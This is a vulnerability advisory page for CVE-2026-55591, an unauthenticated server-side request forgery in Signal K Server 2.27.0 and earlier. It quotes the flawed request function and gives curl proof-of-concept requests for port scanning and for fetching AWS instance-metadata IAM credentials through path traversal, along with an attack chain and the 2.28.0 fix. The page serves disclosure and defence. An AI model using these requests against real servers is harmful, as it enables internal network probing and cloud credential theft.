Skip to main content

Signal K Server CVE-2026-55591

MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-06-18 https://github.com/SignalK/signalk-server GHSA-q59x-jc9f-gfqf
5.8
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.8 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
vuln.today AI
8.6 HIGH

Full HTTP response bodies returned to unauthenticated attacker - including cloud IAM credentials via IMDS - justify C:H over the vendor's C:L; scope change confirmed as server proxies into networks beyond its trust boundary.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jun 18, 2026 - 21:51 vuln.today
Analysis Generated
Jun 18, 2026 - 21:51 vuln.today
CVE Published
Jun 18, 2026 - 21:13 github-advisory
MEDIUM 5.8

DescriptionGitHub Advisory

Summary

signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.

When security is not configured (the default state), these endpoints require no authentication.

Details

Vulnerable Function

The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:

typescript
function makeRemoteRequest(
  host: string,
  port: number,
  useTLS: boolean,
  selfsignedcert: boolean,
  path: string,
  method?: string,
  headers?: Record<string, string>,
  body?: unknown
): Promise<{ status: number | undefined; data: string }> {
  const protocol = useTLS ? https : http
  return new Promise((resolve, reject) => {
    const options = {
      hostname: host,         // NO VALIDATION - attacker controlled
      port,                   // NO VALIDATION - attacker controlled
      path,
      method: method || 'GET',
      headers: {
        ...(headers || {}),
        ...(body ? { 'Content-Type': 'application/json' } : {})
      },
      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification
    }
    const req = protocol.request(options, (response) => {
      let data = ''
      response.on('data', (chunk: string) => {
        data += chunk
      })
      response.on('end', () => {
        resolve({ status: response.statusCode, data })
      })
    })
    req.on('error', reject)
    req.setTimeout(10000, () => {
      req.destroy(new Error('Connection timed out'))
    })
    if (body) {
      req.write(JSON.stringify(body))
    }
    req.end()
  })
}
Missing Validation

The function performs zero validation on the destination host. The following address ranges are all reachable:

  • Loopback: 127.0.0.1, ::1, localhost
  • RFC 1918 private ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
  • Link-local / Cloud metadata: 169.254.169.254 (AWS EC2 instance metadata, GCP, Azure IMDS)
  • IPv6 link-local: fe80::/10
  • Any arbitrary external host: enabling the server as an open proxy
Authentication Bypass via Default Configuration

The endpoints are protected by addAdminMiddleware() (lines 2339-2345):

typescript
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)

However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:

typescript
addAdminMiddleware: () => {},

This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.

Additional Attack Surface: TLS Verification Bypass

The selfsignedcert parameter directly controls rejectUnauthorized:

typescript
rejectUnauthorized: !selfsignedcert

When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.

Additional Attack Surface: Path Traversal in checkAccessRequest

The checkAccessRequest endpoint interpolates requestId directly into the URL path:

typescript
`/signalk/v1/requests/${requestId}`

An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.

PoC

Target Setup

Set up a bare-metal signalk-server for testing (or use Docker to simulate):

bash
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
  bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done

Set the target variable:

bash
TARGET=http://127.0.0.1:3000

Confirm "authenticationRequired":false in the loginStatus response before proceeding.

PoC 1: Loopback Connection (Self-Discovery)
bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'

Response (confirms SSRF, the server connected to itself):

json
{
  "success": true,
  "authenticated": false,
  "server": {
    "id": "signalk-server-node",
    "version": "2.27.0"
  }
}
PoC 2: Port Scanning via Error Differentiation
bash
# Open port (3000) - returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}
# Closed port (9999) - immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}
# Filtered port - 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}

The three distinct error responses allow an attacker to map internal network topology.

PoC 3: AWS Instance Metadata Service (IMDSv1)

On a cloud-hosted signalk-server (AWS EC2):

bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'

The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use checkAccessRequest with path traversal in requestId:

bash
curl -s -X POST $TARGET/skServer/checkAccessRequest \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'

Impact

  1. Internal Network Scanning: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).
  2. Cloud Metadata Exfiltration: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at 169.254.169.254 to steal IAM credentials, instance identity tokens, and other sensitive metadata.
  3. Internal Service Data Exfiltration: The testSignalKConnection endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.
  4. Server-Side POST Requests: The requestAccess endpoint sends a POST request with attacker-controlled JSON body (clientId, description), enabling interaction with internal APIs that accept POST requests.
  5. Lateral Movement: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.

AnalysisAI

Unauthenticated SSRF in signalk-server ≤2.27.0 allows remote attackers to force the server to make arbitrary HTTP/HTTPS requests to any destination, including RFC 1918 private ranges, loopback, and cloud metadata services at 169.254.169.254. On default installations where no admin user has been created, the security middleware is a no-op, meaning all three vulnerable endpoints are completely unauthenticated over the network. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Confirm unauthenticated access via /skServer/loginStatus
Delivery
Send POST to /testSignalKConnection with 169.254.169.254 as host
Exploit
Server makes unvalidated outbound HTTP request to cloud IMDS
Execution
Retrieve IAM role name from response body
Persist
Send POST to /checkAccessRequest with path-traversal requestId targeting credentials path
Impact
Exfiltrate AWS temporary IAM credentials from response

Vulnerability AssessmentAI

Exploitation On default Signal K Server installations where no admin user has been created, all three endpoints (`/skServer/testSignalKConnection`, `/skServer/requestAccess`, `/skServer/checkAccessRequest`) are completely unauthenticated because `dummysecurity.ts` implements `addAdminMiddleware` as a no-op - no special conditions, no credentials, and no configuration changes are required by the attacker. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 3.1 score of 5.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N) correctly captures network reachability, no required privileges, and scope change (server acts as proxy into internal networks), but the C:L rating materially understates real-world impact: the endpoints return full HTTP response bodies to the attacker, and targeting 169.254.169.254 on a cloud-hosted instance yields IMDSv1 IAM role credentials that can enable full cloud account compromise - a C:H outcome. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker scans for internet-exposed Signal K servers (default port 3000) and identifies one running version 2.27.0 with no admin user configured, confirmed by checking `/skServer/loginStatus` for `authenticationRequired: false`. The attacker sends an unauthenticated POST to `/skServer/checkAccessRequest` with `host` set to `169.254.169.254`, port 80, and a path-traversal `requestId` of `../../latest/meta-data/iam/security-credentials/ROLE_NAME`, causing the server to fetch and return the AWS IAM temporary access key, secret key, and session token for the EC2 instance's attached role. …
Remediation The primary fix is upgrading signalk-server to version 2.28.0, confirmed as the patched release per GitHub Advisory GHSA-q59x-jc9f-gfqf (https://github.com/SignalK/signalk-server/security/advisories/GHSA-q59x-jc9f-gfqf). … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-55591 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy